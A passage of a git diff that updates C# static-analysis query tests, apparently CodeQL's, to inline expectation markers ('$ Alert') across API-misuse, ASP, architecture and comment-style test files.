Abuse/InconsistentEqualsGetHashCode/InconsistentEqualsGetHashCodeBad.cs index 6b3b95966dc9..00da432846f3 100644 --- a/csharp/ql/test/query-tests/API Abuse/InconsistentEqualsGetHashCode/InconsistentEqualsGetHashCodeBad.cs +++ b/csharp/ql/test/query-tests/API Abuse/InconsistentEqualsGetHashCode/InconsistentEqualsGetHashCodeBad.cs @@ -1,6 +1,6 @@ using System; -class Bad +class Bad // $ Alert { private int id; diff --git a/csharp/ql/test/query-tests/API Abuse/IncorrectCompareToSignature/IncorrectCompareToSignature.cs b/csharp/ql/test/query-tests/API Abuse/IncorrectCompareToSignature/IncorrectCompareToSignature.cs index 5b5780ed9778..5e566b926814 100644 --- a/csharp/ql/test/query-tests/API Abuse/IncorrectCompareToSignature/IncorrectCompareToSignature.cs +++ b/csharp/ql/test/query-tests/API Abuse/IncorrectCompareToSignature/IncorrectCompareToSignature.cs @@ -2,7 +2,7 @@ class C1 { - public int CompareTo(T other) => throw null; // BAD + public int CompareTo(T other) => throw null; // BAD // $ Alert } class C2 { } diff --git a/csharp/ql/test/query-tests/API Abuse/IncorrectCompareToSignature/IncorrectCompareToSignature.qlref b/csharp/ql/test/query-tests/API Abuse/IncorrectCompareToSignature/IncorrectCompareToSignature.qlref index 23abf6ab339d..afab98e27ce5 100644 --- a/csharp/ql/test/query-tests/API Abuse/IncorrectCompareToSignature/IncorrectCompareToSignature.qlref +++ b/csharp/ql/test/query-tests/API Abuse/IncorrectCompareToSignature/IncorrectCompareToSignature.qlref @@ -1 +1,2 @@ -API Abuse/IncorrectCompareToSignature.ql \ No newline at end of file +query: API Abuse/IncorrectCompareToSignature.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/API Abuse/IncorrectCompareToSignature/IncorrectCompareToSignatureBad.cs b/csharp/ql/test/query-tests/API Abuse/IncorrectCompareToSignature/IncorrectCompareToSignatureBad.cs index efeb55ce65bc..33b1e3ad8d45 100644 --- a/csharp/ql/test/query-tests/API Abuse/IncorrectCompareToSignature/IncorrectCompareToSignatureBad.cs +++ b/csharp/ql/test/query-tests/API Abuse/IncorrectCompareToSignature/IncorrectCompareToSignatureBad.cs @@ -2,5 +2,5 @@ class Bad { - public int CompareTo(Bad b) => 0; + public int CompareTo(Bad b) => 0; // $ Alert } diff --git a/csharp/ql/test/query-tests/API Abuse/IncorrectEqualsSignature/IncorrectEqualsSignature.cs b/csharp/ql/test/query-tests/API Abuse/IncorrectEqualsSignature/IncorrectEqualsSignature.cs index effb17a558a2..f858cc35a0fc 100644 --- a/csharp/ql/test/query-tests/API Abuse/IncorrectEqualsSignature/IncorrectEqualsSignature.cs +++ b/csharp/ql/test/query-tests/API Abuse/IncorrectEqualsSignature/IncorrectEqualsSignature.cs @@ -3,7 +3,7 @@ // BAD class Incorrect { - public bool Equals(Incorrect other) => false; + public bool Equals(Incorrect other) => false; // $ Alert } // GOOD diff --git a/csharp/ql/test/query-tests/API Abuse/IncorrectEqualsSignature/IncorrectEqualsSignature.qlref b/csharp/ql/test/query-tests/API Abuse/IncorrectEqualsSignature/IncorrectEqualsSignature.qlref index f56496da8be1..c05a5f0af8d0 100644 --- a/csharp/ql/test/query-tests/API Abuse/IncorrectEqualsSignature/IncorrectEqualsSignature.qlref +++ b/csharp/ql/test/query-tests/API Abuse/IncorrectEqualsSignature/IncorrectEqualsSignature.qlref @@ -1 +1,2 @@ -API Abuse/IncorrectEqualsSignature.ql \ No newline at end of file +query: API Abuse/IncorrectEqualsSignature.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/API Abuse/IncorrectEqualsSignature/IncorrectEqualsSignatureBad.cs b/csharp/ql/test/query-tests/API Abuse/IncorrectEqualsSignature/IncorrectEqualsSignatureBad.cs index 723110d1de11..7b03d029eb8a 100644 --- a/csharp/ql/test/query-tests/API Abuse/IncorrectEqualsSignature/IncorrectEqualsSignatureBad.cs +++ b/csharp/ql/test/query-tests/API Abuse/IncorrectEqualsSignature/IncorrectEqualsSignatureBad.cs @@ -9,6 +9,6 @@ public Bad(int Id) this.id = Id; } - public bool Equals(Bad b) => + public bool Equals(Bad b) => // $ Alert this.id == b.id; } diff --git a/csharp/ql/test/query-tests/API Abuse/MissingDisposeCall/MissingDisposeCall.cs b/csharp/ql/test/query-tests/API Abuse/MissingDisposeCall/MissingDisposeCall.cs index dd069476b1bb..b71c2f2a5c93 100644 --- a/csharp/ql/test/query-tests/API Abuse/MissingDisposeCall/MissingDisposeCall.cs +++ b/csharp/ql/test/query-tests/API Abuse/MissingDisposeCall/MissingDisposeCall.cs @@ -20,7 +20,7 @@ class C1 : IDisposable C1 Field1; // GOOD C1 Field2; // BAD - public virtual void Dispose() + public virtual void Dispose() // $ Alert { Field1.Dispose(); } @@ -31,7 +31,7 @@ class C2 : C1 C1 Field1; // GOOD C1 Field2; // BAD - public override void Dispose() + public override void Dispose() // $ Alert { base.Dispose(); Field1.Dispose(); @@ -49,7 +49,7 @@ class C5 : C4 C1 Field1; // GOOD C1 Field2; // BAD - public override void Dispose(bool disposing) + public override void Dispose(bool disposing) // $ Alert { base.Dispose(disposing); if (disposing) @@ -64,7 +64,7 @@ class C6 : Component C1 Field1; // GOOD C1 Field2; // BAD - protected override void Dispose(bool disposing) + protected override void Dispose(bool disposing) // $ Alert { base.Dispose(disposing); if (disposing) diff --git a/csharp/ql/test/query-tests/API Abuse/MissingDisposeCall/MissingDisposeCall.qlref b/csharp/ql/test/query-tests/API Abuse/MissingDisposeCall/MissingDisposeCall.qlref index a1d172302306..442cf4780c15 100644 --- a/csharp/ql/test/query-tests/API Abuse/MissingDisposeCall/MissingDisposeCall.qlref +++ b/csharp/ql/test/query-tests/API Abuse/MissingDisposeCall/MissingDisposeCall.qlref @@ -1 +1,2 @@ -API Abuse/MissingDisposeCall.ql \ No newline at end of file +query: API Abuse/MissingDisposeCall.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/API Abuse/MissingDisposeCall/MissingDisposeCallBad.cs b/csharp/ql/test/query-tests/API Abuse/MissingDisposeCall/MissingDisposeCallBad.cs index 6386abc84003..ed3a1851c87f 100644 --- a/csharp/ql/test/query-tests/API Abuse/MissingDisposeCall/MissingDisposeCallBad.cs +++ b/csharp/ql/test/query-tests/API Abuse/MissingDisposeCall/MissingDisposeCallBad.cs @@ -6,7 +6,7 @@ class Bad : IDisposable private FileStream stream1 = new FileStream("a.txt", FileMode.Open); private FileStream stream2 = new FileStream("b.txt", FileMode.Open); - public void Dispose() + public void Dispose() // $ Alert { stream1.Dispose(); } diff --git a/csharp/ql/test/query-tests/API Abuse/MissingDisposeMethod/MissingDisposeMethod.cs b/csharp/ql/test/query-tests/API Abuse/MissingDisposeMethod/MissingDisposeMethod.cs index 1e71bba55eb2..998bc757cd55 100644 --- a/csharp/ql/test/query-tests/API Abuse/MissingDisposeMethod/MissingDisposeMethod.cs +++ b/csharp/ql/test/query-tests/API Abuse/MissingDisposeMethod/MissingDisposeMethod.cs @@ -25,7 +25,7 @@ public virtual void Dispose() } } -class C2 : C1 +class C2 : C1 // $ Alert { C2 Field; // BAD } @@ -41,13 +41,13 @@ public override void Dispose() } } -class WebPage : Page +class WebPage : Page // $ Alert { C1 Field1; // BAD Control Field2; // GOOD } -class WebControl : Control +class WebControl : Control // $ Alert { C1 Field1; // BAD Control Field2; // GOOD @@ -73,12 +73,12 @@ public override void Dispose(bool disposing) } } -class C6 : C4 +class C6 : C4 // $ Alert { C2 Field; // BAD } -class C7 : Component +class C7 : Component // $ Alert { C2 Field; // BAD } @@ -97,7 +97,7 @@ protected override void Dispose(bool disposing) } } -class C9 : C1 +class C9 : C1 // $ Alert { C2 Field; // BAD diff --git a/csharp/ql/test/query-tests/API Abuse/MissingDisposeMethod/MissingDisposeMethod.qlref b/csharp/ql/test/query-tests/API Abuse/MissingDisposeMethod/MissingDisposeMethod.qlref index 61be6bbcf704..d9cb769bef36 100644 --- a/csharp/ql/test/query-tests/API Abuse/MissingDisposeMethod/MissingDisposeMethod.qlref +++ b/csharp/ql/test/query-tests/API Abuse/MissingDisposeMethod/MissingDisposeMethod.qlref @@ -1 +1,2 @@ -API Abuse/MissingDisposeMethod.ql \ No newline at end of file +query: API Abuse/MissingDisposeMethod.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/API Abuse/MissingDisposeMethod/MissingDisposeMethodBad.cs b/csharp/ql/test/query-tests/API Abuse/MissingDisposeMethod/MissingDisposeMethodBad.cs index db8067735cfb..5cc9d68d7fae 100644 --- a/csharp/ql/test/query-tests/API Abuse/MissingDisposeMethod/MissingDisposeMethodBad.cs +++ b/csharp/ql/test/query-tests/API Abuse/MissingDisposeMethod/MissingDisposeMethodBad.cs @@ -11,7 +11,7 @@ public virtual void Dispose() } } -class Bad : BadBase +class Bad : BadBase // $ Alert { private FileStream stream2 = new FileStream("b.txt", FileMode.Open); } diff --git a/csharp/ql/test/query-tests/API Abuse/NonOverridingMethod/NonOverridingMethod.cs b/csharp/ql/test/query-tests/API Abuse/NonOverridingMethod/NonOverridingMethod.cs index b2cb30b17ada..a35d0d0b51a5 100644 --- a/csharp/ql/test/query-tests/API Abuse/NonOverridingMethod/NonOverridingMethod.cs +++ b/csharp/ql/test/query-tests/API Abuse/NonOverridingMethod/NonOverridingMethod.cs @@ -12,13 +12,13 @@ class C1 class C2 : C1 { // BAD: M1 does not override C1.M1 - public int M1() { return 1; } + public int M1() { return 1; } // $ Alert // GOOD: M2 overrides using the explicit keyword "override" public override int M2() { return 2; } // BAD: M3 does not override C1.M3 - public IEnumerable M3() { return null; } + public IEnumerable M3() { return null; } // $ Alert // GOOD: M4 overrides using the explicit keyword "override" public override IEnumerable M4() { return null; } diff --git a/csharp/ql/test/query-tests/API Abuse/NonOverridingMethod/NonOverridingMethod.qlref b/csharp/ql/test/query-tests/API Abuse/NonOverridingMethod/NonOverridingMethod.qlref index fb31441316c0..7fe57a6c15cb 100644 --- a/csharp/ql/test/query-tests/API Abuse/NonOverridingMethod/NonOverridingMethod.qlref +++ b/csharp/ql/test/query-tests/API Abuse/NonOverridingMethod/NonOverridingMethod.qlref @@ -1 +1,2 @@ -API Abuse/NonOverridingMethod.ql \ No newline at end of file +query: API Abuse/NonOverridingMethod.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/API Abuse/NonOverridingMethod/NonOverridingMethodBad.cs b/csharp/ql/test/query-tests/API Abuse/NonOverridingMethod/NonOverridingMethodBad.cs index cb76d9ab9947..8641dd60fbe7 100644 --- a/csharp/ql/test/query-tests/API Abuse/NonOverridingMethod/NonOverridingMethodBad.cs +++ b/csharp/ql/test/query-tests/API Abuse/NonOverridingMethod/NonOverridingMethodBad.cs @@ -7,6 +7,6 @@ public virtual void Foo() { } class Sub : Super { - public void Foo() { } + public void Foo() { } // $ Alert } } diff --git a/csharp/ql/test/query-tests/API Abuse/NullArgumentToEquals/NullArgumentToEquals.cs b/csharp/ql/test/query-tests/API Abuse/NullArgumentToEquals/NullArgumentToEquals.cs index 08219f61a73e..674205965a93 100644 --- a/csharp/ql/test/query-tests/API Abuse/NullArgumentToEquals/NullArgumentToEquals.cs +++ b/csharp/ql/test/query-tests/API Abuse/NullArgumentToEquals/NullArgumentToEquals.cs @@ -3,16 +3,16 @@ class NullArgumentToEquals void M() { int i = 0; - i.Equals(null); // BAD + i.Equals(null); // BAD // $ Alert int? i2 = null; i2.Equals(null); // GOOD C c = null; - c.Equals(null); // BAD + c.Equals(null); // BAD // $ Alert object o = null; - o.Equals(null); // BAD + o.Equals(null); // BAD // $ Alert } class C diff --git a/csharp/ql/test/query-tests/API Abuse/NullArgumentToEquals/NullArgumentToEquals.qlref b/csharp/ql/test/query-tests/API Abuse/NullArgumentToEquals/NullArgumentToEquals.qlref index c6b40febef05..12129a164b04 100644 --- a/csharp/ql/test/query-tests/API Abuse/NullArgumentToEquals/NullArgumentToEquals.qlref +++ b/csharp/ql/test/query-tests/API Abuse/NullArgumentToEquals/NullArgumentToEquals.qlref @@ -1 +1,2 @@ -API Abuse/NullArgumentToEquals.ql \ No newline at end of file +query: API Abuse/NullArgumentToEquals.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/API Abuse/NullArgumentToEquals/NullArgumentToEqualsBad.cs b/csharp/ql/test/query-tests/API Abuse/NullArgumentToEquals/NullArgumentToEqualsBad.cs index 612aaa2b1ac6..932ced4ef4a2 100644 --- a/csharp/ql/test/query-tests/API Abuse/NullArgumentToEquals/NullArgumentToEqualsBad.cs +++ b/csharp/ql/test/query-tests/API Abuse/NullArgumentToEquals/NullArgumentToEqualsBad.cs @@ -1,4 +1,4 @@ class Bad { - bool IsNull(object o) => o.Equals(null); + bool IsNull(object o) => o.Equals(null); // $ Alert } diff --git a/csharp/ql/test/query-tests/API Abuse/UncheckedReturnValue/UncheckedReturnValue.cs b/csharp/ql/test/query-tests/API Abuse/UncheckedReturnValue/UncheckedReturnValue.cs index cf290a84bcbb..837526eb236c 100644 --- a/csharp/ql/test/query-tests/API Abuse/UncheckedReturnValue/UncheckedReturnValue.cs +++ b/csharp/ql/test/query-tests/API Abuse/UncheckedReturnValue/UncheckedReturnValue.cs @@ -21,7 +21,7 @@ static void Main(string[] args) ret = intHashSet.Add(42); // BAD: - stringHashSet.Add("42"); + stringHashSet.Add("42"); // $ Alert } } @@ -64,8 +64,8 @@ static void Main(string[] args) ret = s.Read(null, 0, 0); ret = s.Read(null, 0, 0); ret = s.Read(null, 0, 0); - s.Read(null, 0, 0); // always check - s.ReadByte(); // always check + s.Read(null, 0, 0); // always check // $ Alert + s.ReadByte(); // always check // $ Alert } } @@ -82,7 +82,7 @@ static void M() ret1 = M1(); ret1 = M1(); ret1 = M1(); - M1(); // BAD + M1(); // BAD // $ Alert M1(); // GOOD var ret2 = M2(); @@ -103,7 +103,7 @@ static void M() ret2 = M2(); ret2 = M2(); ret2 = M2(); - M2(); // BAD + M2(); // BAD // $ Alert var ret3 = M3(null); ret3 = M3(null); @@ -115,7 +115,7 @@ static void M() ret3 = M3(null); ret3 = M3(null); M3(null); // GOOD - M3(null); // BAD + M3(null); // BAD // $ Alert M3(null); // GOOD } diff --git a/csharp/ql/test/query-tests/API Abuse/UncheckedReturnValue/UncheckedReturnValue.qlref b/csharp/ql/test/query-tests/API Abuse/UncheckedReturnValue/UncheckedReturnValue.qlref index ca9751d2857a..c04faa8008ad 100644 --- a/csharp/ql/test/query-tests/API Abuse/UncheckedReturnValue/UncheckedReturnValue.qlref +++ b/csharp/ql/test/query-tests/API Abuse/UncheckedReturnValue/UncheckedReturnValue.qlref @@ -1 +1,2 @@ -API Abuse/UncheckedReturnValue.ql \ No newline at end of file +query: API Abuse/UncheckedReturnValue.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/API Abuse/UncheckedReturnValue/UncheckedReturnValueBad.cs b/csharp/ql/test/query-tests/API Abuse/UncheckedReturnValue/UncheckedReturnValueBad.cs index 394906e70241..6d9743172c29 100644 --- a/csharp/ql/test/query-tests/API Abuse/UncheckedReturnValue/UncheckedReturnValueBad.cs +++ b/csharp/ql/test/query-tests/API Abuse/UncheckedReturnValue/UncheckedReturnValueBad.cs @@ -26,13 +26,13 @@ public void IgnoreOne() if (DoPrint("I")) Console.WriteLine("I"); - DoPrint("J"); + DoPrint("J"); // $ Alert } void IgnoreRead(string path) { var file = new byte[10]; using (var f = new FileStream(path, FileMode.Open)) - f.Read(file, 0, file.Length); + f.Read(file, 0, file.Length); // $ Alert } } diff --git a/csharp/ql/test/query-tests/ASP/BlockCodeResponseWrite/BlockCodeResponseWrite.qlref b/csharp/ql/test/query-tests/ASP/BlockCodeResponseWrite/BlockCodeResponseWrite.qlref index 40da4c8a2d57..35d5389b7189 100644 --- a/csharp/ql/test/query-tests/ASP/BlockCodeResponseWrite/BlockCodeResponseWrite.qlref +++ b/csharp/ql/test/query-tests/ASP/BlockCodeResponseWrite/BlockCodeResponseWrite.qlref @@ -1 +1,2 @@ -ASP/BlockCodeResponseWrite.ql +query: ASP/BlockCodeResponseWrite.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/ASP/BlockCodeResponseWrite/BlockCodeResponseWriteBad.aspx b/csharp/ql/test/query-tests/ASP/BlockCodeResponseWrite/BlockCodeResponseWriteBad.aspx index 1e4a0fffc015..ebf2cadc8b3f 100644 --- a/csharp/ql/test/query-tests/ASP/BlockCodeResponseWrite/BlockCodeResponseWriteBad.aspx +++ b/csharp/ql/test/query-tests/ASP/BlockCodeResponseWrite/BlockCodeResponseWriteBad.aspx @@ -2,6 +2,6 @@ -

2 + 3 = <%Response.Write(2 + 3)%>

+

2 + 3 = <%Response.Write(2 + 3)%>

<%-- $ Alert[cs/asp/response-write] --%> diff --git a/csharp/ql/test/query-tests/ASP/BlockCodeResponseWrite/test.aspx b/csharp/ql/test/query-tests/ASP/BlockCodeResponseWrite/test.aspx index 1e4a0fffc015..ebf2cadc8b3f 100644 --- a/csharp/ql/test/query-tests/ASP/BlockCodeResponseWrite/test.aspx +++ b/csharp/ql/test/query-tests/ASP/BlockCodeResponseWrite/test.aspx @@ -2,6 +2,6 @@ -

2 + 3 = <%Response.Write(2 + 3)%>

+

2 + 3 = <%Response.Write(2 + 3)%>

<%-- $ Alert[cs/asp/response-write] --%> diff --git a/csharp/ql/test/query-tests/ASP/ComplexInlineCode/ComplexInlineCode.qlref b/csharp/ql/test/query-tests/ASP/ComplexInlineCode/ComplexInlineCode.qlref index 85395099ce9a..9a5bdd6c37e6 100644 --- a/csharp/ql/test/query-tests/ASP/ComplexInlineCode/ComplexInlineCode.qlref +++ b/csharp/ql/test/query-tests/ASP/ComplexInlineCode/ComplexInlineCode.qlref @@ -1 +1,2 @@ -ASP/ComplexInlineCode.ql +query: ASP/ComplexInlineCode.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/ASP/ComplexInlineCode/ComplexInlineCodeBad.aspx b/csharp/ql/test/query-tests/ASP/ComplexInlineCode/ComplexInlineCodeBad.aspx index f4457d89606f..b8e0a25ac2c8 100644 --- a/csharp/ql/test/query-tests/ASP/ComplexInlineCode/ComplexInlineCodeBad.aspx +++ b/csharp/ql/test/query-tests/ASP/ComplexInlineCode/ComplexInlineCodeBad.aspx @@ -15,6 +15,6 @@ } else { ec.Emit (Response, OpCodes.Ldloca, builder); } -%> +%> <%-- $ Alert[cs/asp/complex-inline-code] --%> diff --git a/csharp/ql/test/query-tests/ASP/ComplexInlineCode/test.aspx b/csharp/ql/test/query-tests/ASP/ComplexInlineCode/test.aspx index 1c2d09586ab5..39055702e35c 100644 --- a/csharp/ql/test/query-tests/ASP/ComplexInlineCode/test.aspx +++ b/csharp/ql/test/query-tests/ASP/ComplexInlineCode/test.aspx @@ -9,7 +9,7 @@ Response.write(3 + 2); } End If -%>

+%>

<%-- $ Alert[cs/asp/complex-inline-code] --%>

2 + 3 = <%=2 + 3%>

diff --git a/csharp/ql/test/query-tests/ASP/NonInternationalizedText/NonInternationalizedText.qlref b/csharp/ql/test/query-tests/ASP/NonInternationalizedText/NonInternationalizedText.qlref index 16700623f76e..0ca3c026d73e 100644 --- a/csharp/ql/test/query-tests/ASP/NonInternationalizedText/NonInternationalizedText.qlref +++ b/csharp/ql/test/query-tests/ASP/NonInternationalizedText/NonInternationalizedText.qlref @@ -1 +1,2 @@ -ASP/NonInternationalizedText.ql +query: ASP/NonInternationalizedText.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/ASP/NonInternationalizedText/NonInternationalizedTextBad.aspx b/csharp/ql/test/query-tests/ASP/NonInternationalizedText/NonInternationalizedTextBad.aspx index 2d5e7757d3af..935a9c19e0ef 100644 --- a/csharp/ql/test/query-tests/ASP/NonInternationalizedText/NonInternationalizedTextBad.aspx +++ b/csharp/ql/test/query-tests/ASP/NonInternationalizedText/NonInternationalizedTextBad.aspx @@ -2,6 +2,6 @@ -

Amount: <%= Amount %>

+

Amount: <%= Amount %>

<%-- $ Alert[cs/asp/text-not-internationalized] --%> diff --git a/csharp/ql/test/query-tests/ASP/NonInternationalizedText/test.aspx b/csharp/ql/test/query-tests/ASP/NonInternationalizedText/test.aspx index 44b6ab46947f..7027d6a07cb9 100644 --- a/csharp/ql/test/query-tests/ASP/NonInternationalizedText/test.aspx +++ b/csharp/ql/test/query-tests/ASP/NonInternationalizedText/test.aspx @@ -2,6 +2,6 @@ -

This text is plain English.

+

This text is plain English.

<%-- $ Alert[cs/asp/text-not-internationalized] --%> diff --git a/csharp/ql/test/query-tests/ASP/SplitControlStructure/SplitControlStructure.qlref b/csharp/ql/test/query-tests/ASP/SplitControlStructure/SplitControlStructure.qlref index 4e98f2ecbaa5..57c16f0abe63 100644 --- a/csharp/ql/test/query-tests/ASP/SplitControlStructure/SplitControlStructure.qlref +++ b/csharp/ql/test/query-tests/ASP/SplitControlStructure/SplitControlStructure.qlref @@ -1 +1,2 @@ -ASP/SplitControlStructure.ql +query: ASP/SplitControlStructure.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/ASP/SplitControlStructure/SplitControlStructureBad.aspx b/csharp/ql/test/query-tests/ASP/SplitControlStructure/SplitControlStructureBad.aspx index 4ef3f00f3bfc..870c3df8fd37 100644 --- a/csharp/ql/test/query-tests/ASP/SplitControlStructure/SplitControlStructureBad.aspx +++ b/csharp/ql/test/query-tests/ASP/SplitControlStructure/SplitControlStructureBad.aspx @@ -2,7 +2,7 @@ -<% If ShouldWarn() Then %> +<% If ShouldWarn() Then %> <%-- $ Alert[cs/asp/split-control-structure] --%>

WARNING: <%=warning()%>

<% End If %> diff --git a/csharp/ql/test/query-tests/ASP/SplitControlStructure/test.aspx b/csharp/ql/test/query-tests/ASP/SplitControlStructure/test.aspx index 8cd7245d0ca6..69d889b570a5 100644 --- a/csharp/ql/test/query-tests/ASP/SplitControlStructure/test.aspx +++ b/csharp/ql/test/query-tests/ASP/SplitControlStructure/test.aspx @@ -2,7 +2,7 @@ -<% If Something() Then %> +<% If Something() Then %> <%-- $ Alert[cs/asp/split-control-structure] --%>

2 + 3 = <%=2 + 3%>

<% End If %> diff --git a/csharp/ql/test/query-tests/AlertSuppression/AlertSuppression.qlref b/csharp/ql/test/query-tests/AlertSuppression/AlertSuppression.qlref index 1641277045f7..dc898fca718c 100644 --- a/csharp/ql/test/query-tests/AlertSuppression/AlertSuppression.qlref +++ b/csharp/ql/test/query-tests/AlertSuppression/AlertSuppression.qlref @@ -1 +1 @@ -AlertSuppression.ql \ No newline at end of file +query: AlertSuppression.ql diff --git a/csharp/ql/test/query-tests/Architecture/Dependencies/MutualDependency/MutualDependency.qlref b/csharp/ql/test/query-tests/Architecture/Dependencies/MutualDependency/MutualDependency.qlref index ab1dbe353ef6..273ed4d757a6 100644 --- a/csharp/ql/test/query-tests/Architecture/Dependencies/MutualDependency/MutualDependency.qlref +++ b/csharp/ql/test/query-tests/Architecture/Dependencies/MutualDependency/MutualDependency.qlref @@ -1 +1,2 @@ -Architecture/Dependencies/MutualDependency.ql \ No newline at end of file +query: Architecture/Dependencies/MutualDependency.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Architecture/Dependencies/MutualDependency/MutualDependencyBad.cs b/csharp/ql/test/query-tests/Architecture/Dependencies/MutualDependency/MutualDependencyBad.cs index 370b75b45890..4aeddea95ba8 100644 --- a/csharp/ql/test/query-tests/Architecture/Dependencies/MutualDependency/MutualDependencyBad.cs +++ b/csharp/ql/test/query-tests/Architecture/Dependencies/MutualDependency/MutualDependencyBad.cs @@ -1,6 +1,6 @@ public class Bad { - private class BadModel + private class BadModel // $ Alert { private int i; private BadView view; diff --git a/csharp/ql/test/query-tests/Architecture/Refactoring Opportunities/FeatureEnvy/FeatureEnvy.qlref b/csharp/ql/test/query-tests/Architecture/Refactoring Opportunities/FeatureEnvy/FeatureEnvy.qlref index 9a63a65cd867..6931ecc2f7ec 100644 --- a/csharp/ql/test/query-tests/Architecture/Refactoring Opportunities/FeatureEnvy/FeatureEnvy.qlref +++ b/csharp/ql/test/query-tests/Architecture/Refactoring Opportunities/FeatureEnvy/FeatureEnvy.qlref @@ -1 +1,2 @@ -Architecture/Refactoring Opportunities/FeatureEnvy.ql \ No newline at end of file +query: Architecture/Refactoring Opportunities/FeatureEnvy.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Architecture/Refactoring Opportunities/FeatureEnvy/FeatureEnvyBad.cs b/csharp/ql/test/query-tests/Architecture/Refactoring Opportunities/FeatureEnvy/FeatureEnvyBad.cs index 15678d585760..a3f064ff746c 100644 --- a/csharp/ql/test/query-tests/Architecture/Refactoring Opportunities/FeatureEnvy/FeatureEnvyBad.cs +++ b/csharp/ql/test/query-tests/Architecture/Refactoring Opportunities/FeatureEnvy/FeatureEnvyBad.cs @@ -13,7 +13,7 @@ class Item class Basket { - decimal GetTotalPrice(Item i) + decimal GetTotalPrice(Item i) // $ Alert { if (i.IsOutOfStock) throw new Exception("Item ${i} is out of stock."); diff --git a/csharp/ql/test/query-tests/Architecture/Refactoring Opportunities/InappropriateIntimacy/InappropriateIntimacy.cs b/csharp/ql/test/query-tests/Architecture/Refactoring Opportunities/InappropriateIntimacy/InappropriateIntimacy.cs index 95ff360b3d88..19ce015cdb54 100644 --- a/csharp/ql/test/query-tests/Architecture/Refactoring Opportunities/InappropriateIntimacy/InappropriateIntimacy.cs +++ b/csharp/ql/test/query-tests/Architecture/Refactoring Opportunities/InappropriateIntimacy/InappropriateIntimacy.cs @@ -2,7 +2,7 @@ class InappropriateIntimacy { - class A + class A // $ Alert { public int F1; public int F2; @@ -25,7 +25,7 @@ int M(B b) => b.F1 + b.F2 + b.F3 + b.F4 + b.F5 + b.F6 + b.F7 + b.F8 + b.F9 + b.F10 + b.F11 + b.F12 + b.F13 + b.F14 + b.F15 + b.F16; } - class B + class B // $ Alert { public int F1; public int F2; diff --git a/csharp/ql/test/query-tests/Architecture/Refactoring Opportunities/InappropriateIntimacy/InappropriateIntimacy.qlref b/csharp/ql/test/query-tests/Architecture/Refactoring Opportunities/InappropriateIntimacy/InappropriateIntimacy.qlref index 3b1c4aa5b018..938449179aef 100644 --- a/csharp/ql/test/query-tests/Architecture/Refactoring Opportunities/InappropriateIntimacy/InappropriateIntimacy.qlref +++ b/csharp/ql/test/query-tests/Architecture/Refactoring Opportunities/InappropriateIntimacy/InappropriateIntimacy.qlref @@ -1 +1,2 @@ -Architecture/Refactoring Opportunities/InappropriateIntimacy.ql \ No newline at end of file +query: Architecture/Refactoring Opportunities/InappropriateIntimacy.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Bad Practices/Comments/CommentedOutCode/CommentedOutCode.cs b/csharp/ql/test/query-tests/Bad Practices/Comments/CommentedOutCode/CommentedOutCode.cs index 93575ea6d8b2..615ec177059e 100644 --- a/csharp/ql/test/query-tests/Bad Practices/Comments/CommentedOutCode/CommentedOutCode.cs +++ b/csharp/ql/test/query-tests/Bad Practices/Comments/CommentedOutCode/CommentedOutCode.cs @@ -23,5 +23,5 @@ class Class // int y=3; // Comment // int z=4; // Comment // - // end of example + // end of example // $ Alert } diff --git a/csharp/ql/test/query-tests/Bad Practices/Comments/CommentedOutCode/CommentedOutCode.qlref b/csharp/ql/test/query-tests/Bad Practices/Comments/CommentedOutCode/CommentedOutCode.qlref index 99318fe478e5..59b1ba27b8e2 100644 --- a/csharp/ql/test/query-tests/Bad Practices/Comments/CommentedOutCode/CommentedOutCode.qlref +++ b/csharp/ql/test/query-tests/Bad Practices/Comments/CommentedOutCode/CommentedOutCode.qlref @@ -1 +1,2 @@ -Bad Practices/Comments/CommentedOutCode.ql +query: Bad Practices/Comments/CommentedOutCode.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Bad Practices/Comments/TodoComments/TodoComments.cs b/csharp/ql/test/query-tests/Bad Practices/Comments/TodoComments/TodoComments.cs index e4f13bb4c64c..2f38e3f42166 100644 --- a/csharp/ql/test/query-tests/Bad Practices/Comments/TodoComments/TodoComments.cs +++ b/csharp/ql/test/query-tests/Bad Practices/Comments/TodoComments/TodoComments.cs @@ -1,8 +1,8 @@ class C { - // BAD: A TODO comment - // BAD: A FIXME comment + // BAD: A TODO comment // $ Alert + // BAD: A FIXME comment // $ Alert // GOOD: A normal comment // GOOD: Lowercase todo fixme } diff --git a/csharp/ql/test/query-tests/Bad Practices/Comments/TodoComments/TodoComments.qlref b/csharp/ql/test/query-tests/Bad Practices/Comments/TodoComments/TodoComments.qlref index b9114382c5b6..6cdc7b06d6e3 100644 --- a/csharp/ql/test/query-tests/Bad Practices/Comments/TodoComments/TodoComments.qlref +++ b/csharp/ql/test/query-tests/Bad Practices/Comments/TodoComments/TodoComments.qlref @@ -1 +1,2 @@ -Bad Practices/Comments/TodoComments.ql +query: Bad Practices/Comments/TodoComments.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Bad Practices/Comments/TodoComments/TodoCommentsBad.cs b/csharp/ql/test/query-tests/Bad Practices/Comments/TodoComments/TodoCommentsBad.cs index 172305a3bc73..7a02282cbcca 100644 --- a/csharp/ql/test/query-tests/Bad Practices/Comments/TodoComments/TodoCommentsBad.cs +++ b/csharp/ql/test/query-tests/Bad 